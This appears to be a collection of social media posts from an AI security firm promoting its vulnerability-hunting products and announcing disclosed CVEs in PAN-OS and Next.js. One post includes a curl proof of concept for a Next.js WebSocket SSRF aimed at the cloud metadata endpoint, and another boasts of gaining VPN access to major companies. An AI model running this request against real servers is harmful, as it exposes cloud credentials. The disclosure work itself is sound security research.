Hacktron is an autonomous vulnerability hunter for ambitious engineering teams. Built by world-class security researchers. Powered by one principle: PoC || GTFO
Introducing Hacktron Review: an AI security reviewer for your pull requests.
It understands your whole codebase, builds a threat model, takes your feedback, and catches exploitable vulnerabilities before they reach production.
Try for free: https://t.co/ZHfG7cvXRe
Introducing Hacktron Whitebox: get white-box security assessments with audit-ready reports without waiting on a traditional pentest cycle.
AI has roughly tripled the rate of code shipped in the past year. But penetration testing has not kept pace, often taking weeks to months.
The outcome: a faster, more cost-effective security assessment that does not compromise on quality. This is not just checkbox compliance. Hacktron Whitebox helps teams generate evidence for SOC 2 and ISO 27001, while giving engineers valuable, actionable findings they can fix.
Nice overview of the vulnerability discovery landscape! Very proud of the work we've done at @HacktronAI, as well as that of our peers at Anthropic and AISLE.
AI has sped up vulnerability discovery, but coverage and signal remain to be important metrics we optimize for.
Hacktron Review plugs into your pull requests and catches exploitable vulnerabilities other scanners walk straight past.
Find real security issues within 24 hours of onboarding.
Try it free → https://t.co/hkx1I3nkgE
When Your VPN Opens Your Private Network to the Public!
An auth bypass in Palo Alto PAN-OS CAS Auth (CVE-2026-0265) that lets an attacker connect to the company's GlobalProtect VPN.
Blog - https://t.co/xMBbKC60NZ
This is a critical auth bypass (affecting GlobalProtect VPN), not sure why this was marked as high. I have already managed to get VPN access to major corps!
Unlike the buffer overflow this isn't limited to PAN OS.
Will be disclosing full details later next week on @HacktronAI blog.
https://t.co/iby50nmGdF
Last week's Next.js stable release patches multiple vulnerabilities found by @HacktronAI
CVE-2026-44578: SSRF via WebSocket upgrade.
It is the most impactful of all, it lets an attacker read internal hosts such as cloud metadata endpoints on self-hosted next.js applications.
curl -H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
"http://target:3000" \
--request-target "http://169.254.169.254/latest/meta-data/"
I've seen enough fundraising announcement videos. This isn’t one of them.
At @HacktronAI, we do security, and we do it well. That’s what matters to us. We solve real problems for our customers. On average, they uncover real vulnerabilities missed by other tools within 24 hours of onboarding.
Just this year, we've already responsibly disclosed vulnerabilities in Vercel's Next.js, Grafana, Jetbrain's YouTrack, OpenAM, Metabase, and BeyondTrust's Remote Support Software.
No unearned, bullshit hype. Just security that works.
Hacktron ❤️ Open Source
TL;DR: If you maintain an open source project, we want to give you Hacktron Review for free.
Because giving maintainers the same capabilities as attackers would otherwise use against them felt like the right thing to do.
https://t.co/fBHnQwhU8S
Next.js v16.2.5 fixes a bunch of vulnerabilities reported by @HacktronAI.
Patch ASAP, especially if you’re running self-hosted Next.js that SSRF might affect you
CVE-2026-44574: Middleware / Proxy bypass via dynamic route parameter injection
CVE-2026-44578: SSRF in applications using WebSocket upgrades
CVE-2026-44581: XSS in App Router applications using CSP nonces
when react2shell hit last year, i think vercel handled it brilliantly.
to protect their users, they paid $50,000 for every bypass researchers could find. we decided to participate, and ended up earning $170,000.
read how we did it here: https://t.co/2dM6Mf9PHU
TL;DR: If a large model finds a 0day with 90% probability, and a small model with 50% probability, but the small model costs 10x less, it is better to use the small model.
Mythos showed that frontier models can find complex vulnerabilities with a skilled operator in the loop.
But for applications that don't have the complexity of a JIT compiler, we found that smaller models run repeatedly can outperform larger frontier models on cost-to-recall.
https://t.co/mr6ROAaXdg